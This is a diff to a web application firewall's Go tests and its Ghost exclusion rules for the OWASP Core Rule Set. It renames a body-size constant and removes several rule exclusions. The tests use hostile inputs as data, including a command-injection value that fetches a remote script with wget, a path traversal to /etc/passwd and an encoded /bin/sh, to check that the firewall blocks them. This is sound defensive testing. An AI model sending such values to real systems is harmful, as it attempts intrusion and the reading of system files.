 // system files (930120) holds.
 const htaccess = ".htaccess"
 
-// binSh is the shell path /bin/sh as a query or form value, which the rule for
-// shell paths (932160) refuses.
-const binSh = "%2Fbin%2Fsh"
-
 // hardValues are words that name commands and files, as a query or form
 // value. An app's tests check that its fields let them through.
 //
@@ -1093,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
 	const workers, perBody = 16, 10
 
 	crs, err := loaderFor(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
-		BodyInspectionSize: bodyInspectionSize,
 	})()
 	if err != nil {
 		return nil, err
@@ -1178,11 +1173,8 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
 	names := []string{name}
 
 	body := passwordBody(t, r, names, misfiring...)
-	if len(body) > bodyInspectionSize {
+	if len(body) > bodyLimit {
-		t.Fatalf(
+		t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
-			"a body of %d bytes is cut at bodyInspectionSize",
-			len(body),
-		)
 	}
 
 	if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -2318,9 +2310,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
 	wantBody(t, crs, signIn, body, matched(930120), body)
 }
 
-// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
+// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
-// tests that read bodies.
+// read bodies.
-const bodyInspectionSize = 8 << 10
+const bodyLimit = 8 << 10
 
 // The Content-Type headers of the kinds of body the Core Rule Set reads.
 const (
@@ -2343,13 +2335,12 @@ const pathTraversal = "../../etc/passwd"
 const shellCommand = "; wget http://example.com/x.sh"
 
 // readingBodies returns the Core Rule Set as sww runs it by
-// default, but reading bodies up to bodyInspectionSize.
+// default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
 	return shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
-		BodyInspectionSize: bodyInspectionSize,
 	})
 }
 
@@ -2423,7 +2414,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 	t.Parallel()
 
 	crs := readingBodies(t)
-	pad := strings.Repeat("a", bodyInspectionSize)
+	pad := strings.Repeat("a", bodyLimit)
 
 	for _, tc := range []struct{ header, attackFirst, attackLast string }{
 		{
@@ -2436,20 +2427,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 		},
 	} {
 		wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
-			tc.attackFirst[:bodyInspectionSize+1])
+			tc.attackFirst[:bodyLimit+1])
 		wantBody(
 			t,
 			crs,
 			post(tc.header),
 			tc.attackLast,
 			coreruleset.Result{},
-			tc.attackLast[:bodyInspectionSize+1],
+			tc.attackLast[:bodyLimit+1],
 		)
 	}
 
 	// To the byte: a system file's path is found when it ends at the limit,
 	// and not when its last letter is past it, which is still read.
-	atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
+	atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
 	wantBody(
 		t,
 		crs,
@@ -2459,7 +2450,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 		atLimit,
 	)
 
-	pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
+	pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
 	wantBody(
 		t,
 		crs,
@@ -2479,10 +2470,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
 		{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
 		{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
 	} {
-		fits := padded(tc.head, tc.tail, bodyInspectionSize)
+		fits := padded(tc.head, tc.tail, bodyLimit)
 		wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
 
-		larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
+		larger := padded(tc.head, tc.tail, bodyLimit+1)
 		wantBody(
 			t,
 			crs,
@@ -2539,7 +2530,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
 
 	// Whatever its size: a JSON body larger than the limit is not read, but
 	// Content-Encoding on it is refused all the same.
-	larger := strings.Repeat("a", bodyInspectionSize+1)
+	larger := strings.Repeat("a", bodyLimit+1)
 	wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
 
 	// It is allowed on a body of any other kind, and on every body while no
@@ -2859,7 +2850,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
 	// that has no colon, before the attack. They do so padded past the
 	// limit too, which cuts them in the padding.
 	noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
-	pad := field("pad", strings.Repeat("a", bodyInspectionSize))
+	pad := field("pad", strings.Repeat("a", bodyLimit))
 
 	for _, tc := range []struct{ header, head string }{
 		{multipart + "; boundary=c", ""},
@@ -2877,7 +2868,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
 
 		body = tc.head + field("q", injection) + pad + end
 		wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
-			body[:bodyInspectionSize+1])
+			body[:bodyLimit+1])
 	}
 }
 
@@ -2890,10 +2881,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
 	cut := "--b\r\nContent-Di"
 	first := field(
 		"pad",
-		strings.Repeat(
+		strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
-			"a",
-			bodyInspectionSize-len(field("pad", ""))-len(cut),
-		),
 	)
 	body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
 
@@ -2903,7 +2891,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
 		post(multipart),
 		body,
 		matched(900440, 900450),
-		body[:bodyInspectionSize+1],
+		body[:bodyLimit+1],
 	)
 }
 
@@ -2922,15 +2910,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
 	for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
 		first := field(
 			"pad",
-			strings.Repeat(
+			strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
-				"a",
-				bodyInspectionSize-len(field("pad", ""))-cut,
-			),
 		)
 		body := first + field("q", "1") + end
 
 		wantBody(t, crs, post(multipart), body, matched(900440, 900450),
-			body[:bodyInspectionSize+1])
+			body[:bodyLimit+1])
 	}
 }
 
@@ -2945,8 +2930,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	// The test loads its own Core Rule Set, since loading is part of what
 	// it checks.
 	crs, err := coreruleset.New(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
-		BodyInspectionSize: bodyInspectionSize,
 	})
 	if err != nil {
 		t.Fatalf("load the Core Rule Set: %v", err)
@@ -2958,7 +2942,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	wantBody(t, crs, post(multipart), body, matched(942100), body)
 }
 
-func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
+func TestBodyLimitOf1GLoads(t *testing.T) {
 	t.Parallel()
 
 	_, err := coreruleset.New(

internal/coreruleset/forgejo_test.go

@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
 		"/alice/-/packages/npm/x?q=",
 		"/alice/tools/branches?other=",
 	} {
-		for _, value := range slices.Concat([]string{binSh}, hardValues) {
+		for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
 			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
 				t.Errorf("%s%s let through: %+v", target, value, got)
 			}

internal/coreruleset/ghost.conf

@@ -7,8 +7,7 @@
 #
 # Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
 # themes and Ghost's own scripts call the Content API under /ghost/api/content/,
-# and members call /members/api/. The admin calls ActivityPub, a service of its
+# and members call /members/api/. Coraza names a field of a JSON body by its
-# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
 # path, so the title of the first post saved is json.posts.0.title.
 
 # Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
@@ -18,22 +17,11 @@
 SecRule &TX:app_ghost "@eq 0" \
     "id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
 
-# filter, a query in Ghost's own filter language, skips seven rules on the
+# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
-# Admin API and the Content API:
+# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
-#   932120: filter=tag:powershell, filter=name:~'powershell'
-#   932125, 932230, 932250: filter=title:~'powershell & ls -la'
-#   932235, 932260: filter=title:~'powershell & python3', which the admin's
-#   post picker sends when a person types that title
-#   932380: filter=title:~'python3 & powershell'
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
     "id:900350,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=932120;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932120;ARGS:filter"
-    ctl:ruleRemoveTargetById=932125;ARGS:filter,\
-    ctl:ruleRemoveTargetById=932230;ARGS:filter,\
-    ctl:ruleRemoveTargetById=932235;ARGS:filter,\
-    ctl:ruleRemoveTargetById=932250;ARGS:filter,\
-    ctl:ruleRemoveTargetById=932260;ARGS:filter,\
-    ctl:ruleRemoveTargetById=932380;ARGS:filter"
 
 # search, the search for a member by name or address, skips four rules on the
 # Admin API:
@@ -57,61 +45,10 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
     ctl:ruleRemoveTargetById=930120;ARGS:url,\
     ctl:ruleRemoveTargetById=932120;ARGS:url"
 
-# The query fields that filter the analytics skip the eight rules that 900353
+# The fields a person types plain text into skip seven rules on the Admin API:
-# lists, on /ghost/api/admin/stats/:
-#   932120: source=powershell.example.com
-#   932235, 932260: utm_campaign=powershell & python3
-#   932250: utm_term=ls -la
-# These fields filter the figures by the site a visit came from, or a
-# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
-# utm_term.
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
-    "id:900367,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
-    ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
-
-# pathname, the page the analytics show, skips three rules on
-# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
-#   930120: pathname=/tag/proc/
-#   932120: pathname=/python3-and-powershell/
-#   932260: pathname=/tag/python3/
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
-    "id:900385,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
-    ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
-    ctl:ruleRemoveTargetById=932260;ARGS:pathname"
-
-# email_segment, the members a post is sent to as a newsletter, skips 932120
-# on the Admin API's posts: email_segment=label:powershell-users.
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
-    "id:900368,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
-
-# query, a search for an account in ActivityPub, skips the eight rules that
-# 900353 lists: query=python3, query=@powershell@example.com.
-SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
-    "id:900369,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:query,\
-    ctl:ruleRemoveTargetById=932120;ARGS:query,\
-    ctl:ruleRemoveTargetById=932125;ARGS:query,\
-    ctl:ruleRemoveTargetById=932230;ARGS:query,\
-    ctl:ruleRemoveTargetById=932235;ARGS:query,\
-    ctl:ruleRemoveTargetById=932250;ARGS:query,\
-    ctl:ruleRemoveTargetById=932260;ARGS:query,\
-    ctl:ruleRemoveTargetById=932380;ARGS:query"
-
-# The fields a person types plain text into skip eight rules on the Admin API,
-# which refused words that name commands and files:
 #   930120: the title "Using python3 and ls -la to tidy .htaccess files"
 #   932120: the page's slug about-python3-powershell-htaccess
 #   932125, 932230, 932250: the tag "Linux & ls -la"
-#   932235: the title "powershell & python3"
 #   932260: the tag python3
 #   932380: the newsletter "Shell tips weekly: python3 & powershell"
 # These fields hold plain text:
@@ -127,12 +64,11 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
 
-# name, the name a member saves at /members/api/, skips the same eight rules.
+# name, the name a member saves at /members/api/, skips the same seven rules.
 SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
     "id:900359,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
@@ -140,99 +76,10 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
 
-# More fields of plain text skip the same eight rules on the Admin API, which
-# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
-# "powershell & python3 deal" in them:
-#   users.<n>.name, slug, bio, location and website, a staff user's profile
-#   setup.<n>.blogTitle and name, creating the first staff user
-#   invitation.<n>.name, accepting a staff invitation
-#   tiers.<n>.name, description and benefits
-#   offers.<n>.name, code, display_title and display_description
-#   recommendations.<n>.title, description and excerpt
-#   integrations.<n>.name and description, and webhooks.<n>.name
-#   posts.<n>.feature_image_alt and feature_image_caption, and the same fields
-#   of pages
-# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
-    "id:900370,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
-
-# A member's comment, html at /members/api/comments/, skips the same eight
-# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
-# rules for scripts and HTML still refuse a <script> element, an event handler
-# and a javascript: link in it.
-SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
-    "id:900371,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
-
-# labels, which the admin gives the members imported from a CSV file at
-# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
-# "python3 import" and "powershell & .htaccess".
-SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
-    "id:900372,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:labels "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932120;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932125;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932230;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932235;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932250;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932260;ARGS:labels,\
-        ctl:ruleRemoveTargetById=932380;ARGS:labels"
-
-# In ActivityPub, a note's or a reply's text and the description of its image,
-# and an account's name, username and bio, skip the same eight rules. They
-# refused "Trying python3 & powershell", the image's description "A terminal
-# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
-# tips". Each field skips them on its own path:
-#   content and image.altText, posting a note at
-#   /.ghost/activitypub/v1/actions/note or a reply under
-#   /.ghost/activitypub/v1/actions/reply/
-#   name, username and bio, saving the account at /.ghost/activitypub/v1/account
-SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
-    "id:900373,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
-SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
-    "id:900374,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
-
 # A member's email address skips 930120, 932120 and 932260, which refused
 # erin.htaccess@example.com, dave.powershell@example.com and
 # python3.dev@example.com. These fields hold it:
@@ -285,63 +132,6 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
 
-# The address of a staff invitation skips the same three rules. Each of these
-# fields skips them only on its own path:
-#   invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
-#   email in the query, checking an invitation at
-#   /ghost/api/admin/authentication/invitation/
-#   invitation.<n>.email, accepting it at the same path
-SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
-    "id:900375,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
-SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
-    "id:900376,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:email,\
-    ctl:ruleRemoveTargetById=932120;ARGS:email,\
-    ctl:ruleRemoveTargetById=932260;ARGS:email"
-SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
-    "id:900377,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
-
-# In ActivityPub, an account's handle and its address skip 930120 and 932120.
-# They refused the handles @erin.htaccess@example.com and
-# @powershell@example.com, and the addresses
-# https://example.com/users/erin.htaccess and
-# https://example.com/users/powershell. A handle starts with an @, so 932260
-# does not refuse @python3.dev@example.com. The domain of the site's handle
-# skips the same three rules as an email address, which refused
-# erin.htaccess.example.com, powershell.example.com and python3.example.com.
-# Each of these fields skips them only on its own path:
-#   sourceHandle, an account that moves here, added at
-#   /.ghost/activitypub/v1/aliases
-#   actorUri, that account's address, when the admin removes it there
-#   targetHandle, the account this one moves to, at
-#   /.ghost/activitypub/v1/migration
-#   domain, saved at /.ghost/activitypub/v1/domain and checked at
-#   /.ghost/activitypub/v1/domain/validate
-SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
-    "id:900379,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
-SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
-    "id:900380,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
-SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
-    "id:900381,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
-
 # The articles skip these rules on the Admin API:
 #   930120: ls -la /var/www/html/.htaccess in a code block
 #   932120: powershell -ExecutionPolicy Bypass -File build.ps1
